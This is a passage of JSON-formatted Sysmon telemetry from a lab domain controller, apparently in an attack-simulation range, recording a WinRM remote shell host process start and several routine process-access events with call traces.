11:55:38.666","ProcessGuid":"{90617006-413A-5F2D-0000-0010550A0600}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010550A0600}\r\nTargetProcessId: 2804\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010550A0600}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.662\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.662","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 